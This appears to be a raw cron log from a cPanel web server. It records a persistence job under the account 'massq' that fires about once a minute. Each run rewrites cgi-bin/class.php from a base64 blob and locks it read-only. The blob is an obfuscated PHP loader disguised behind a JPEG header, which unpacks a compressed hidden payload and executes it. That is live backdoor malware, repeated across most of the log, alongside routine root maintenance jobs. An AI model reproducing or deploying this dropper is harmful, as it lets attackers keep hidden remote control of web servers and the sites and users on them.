Nov  9 04:47:01 server CROND[5823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:48:01 server CROND[6633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:49:01 server CROND[7451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:50:01 server CROND[8199]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:50:01 server CROND[8201]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 04:50:01 server CROND[8202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:50:01 server CROND[8203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:50:01 server CROND[8204]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 04:51:01 server CROND[9230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:52:01 server CROND[10053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:53:01 server CROND[10955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:54:01 server CROND[11743]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:55:01 server CROND[12604]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:55:01 server CROND[12605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:55:01 server CROND[12606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:56:01 server CROND[13466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:57:01 server CROND[14268]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:57:01 server CROND[14269]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 04:58:01 server CROND[15210]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:59:01 server CROND[16015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:00:01 server CROND[16835]: (root) CMD (/usr/lib64/sa/sa1 1 1)
